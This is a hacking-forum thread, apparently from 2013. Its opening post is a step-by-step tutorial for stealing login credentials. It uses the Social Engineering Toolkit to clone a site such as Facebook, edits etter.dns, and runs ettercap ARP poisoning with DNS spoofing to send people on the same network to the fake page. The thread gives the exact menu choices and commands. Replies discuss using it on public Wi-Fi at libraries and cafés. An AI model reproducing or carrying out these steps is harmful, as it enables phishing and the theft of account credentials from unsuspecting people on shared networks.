+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Tutorial How to get login credintials in no-time! (/Thread-Tutorial-How-to-get-login-credintials-in-no-time)
Pages:
1
2
How to get login credintials in no-time! - Crypt - 11-16-2013
Hi guys,
This is my second tutorial. Hope y'all like it.
This tutorial is split into two parts. I'll start with the site cloning.
First and foremost, you need to know what your IP address is. So if you don't, go onto ifconfig and find out.
We will be using these tools:
Backtrack 5 terminal (preferably R3)
SET (Social Engineering Toolkit)
Here we go:
1. Open up SET (Social Engineering Toolkit)
2. Type '1' and enter for 'Social-Engineering Attacks'
3. Type '2' and enter for 'Website Attack Vectors'
4. Type '3' and enter for 'Credential Harvester Attack Method'
5. Type '2' and enter for 'Site Cloner'
6. You will be asked for your machine’s internal IP address (eg. 192.168.1.13). Type it in and enter.
(If you don’t know it, open another terminal window and type in “ifconfig” without the quotes. Somewhere around there it should say inet addr: your internal ip here)
7. You will then be asked to enter the URL to clone. Type in 'www.facebook.com' or whatever you want to clone and enter.
You should now have cloned whatever site you typed in, so if you type in your IP address in your URL bar, you should get to your fake website. But who's going to visit your random ip address and then login. Nobody.
Don't worry. There is a solution. It's called DNS Spoofing and basically intercepts your request for a website and acts like the DNS server and gives it.. Your IP.. Devilish
1. Go to the terminal and type
Quote:locate etter.dns
2. You'll get this ->
Quote:/usr/local/share/ettercap/etter.dns
3. Type in
Quote:gedit /usr/local/share/ettercap/etter.dns
4. Remove everything and type in:
Quote:whateversiteyouwantredirected.com A *YourInternalIpAddressGoesHere*
http://whateversiteyouwantredirected.com A *YourInternalIpAddressGoesHere*
[Image: Untitled7.png]
5. Now in terminal, type in the following to start the dns_spoofing
If you're using a wireless connection, WLAN, type,
Quote:ettercap -Tqi wlan0 -P dns_spoof -M ARP // //
If you're using a wired connection, LAN, type
Quote:ettercap -Tqi eth0 -P dns_spoof -M ARP // //
Now sit back and keep your SET terminal open (don't close the ettercap one either), and watch the login details come in.
Feel free to post any questions and comments. That would be much appreciated.
Thanks for reading
RE: How to get login credintials in no-time! - Spartan - 11-21-2013
isnt this just for localhost ?
or does this work for remote aswell ?
RE: How to get login credintials in no-time! - Crypt - 11-22-2013
(11-21-2013, 08:00 PM)ProblemSolva Wrote: isnt this just for localhost ?
or does this work for remote aswell ?
It only works for people on your subnet
If it was remote then the internet would just be purely chaos lol
RE: How to get login credintials in no-time! - Nikita - 11-27-2013
Great tutorial but it could use pictures. The social engineer kit in kali linux work good for this
RE: How to get login credintials in no-time! - Crypt - 11-28-2013
(11-27-2013, 07:03 PM)Nikita Wrote: Great tutorial but it could use pictures. The social engineer kit in kali linux work good for this
Yes, Kali Linux is recommended for this
RE: How to get login credintials in no-time! - Nikita - 11-28-2013
(11-28-2013, 03:52 AM)Crypt Wrote: Yes, Kali Linux is recommended for this
Also, since this only local what would you really need it for..? How would you spread it on a local network? I don't see how this could really be of use.
RE: How to get login credintials in no-time! - Crypt - 11-29-2013
"How would you spread it on a local network?" Did you read this at all? You can use it on any public network, also you can clone any website.
RE: How to get login credintials in no-time! - Eclipse - 01-03-2014
Awesome tutorial! Time to pay a visit to the library...
RE: How to get login credintials in no-time! - Adorapuff - 01-03-2014
(01-03-2014, 06:16 PM)Sparks Wrote: Awesome tutorial! Time to pay a visit to the library...Who wants poor library slaves. Starbucks is where its at.
RE: How to get login credintials in no-time! - w00t - 01-03-2014
(11-27-2013, 07:03 PM)Nikita Wrote: Great tutorial but it could use pictures. The social engineer kit in kali linux work good for this
The fact that you think that Kali/Backtrack's SET is unique makes me cry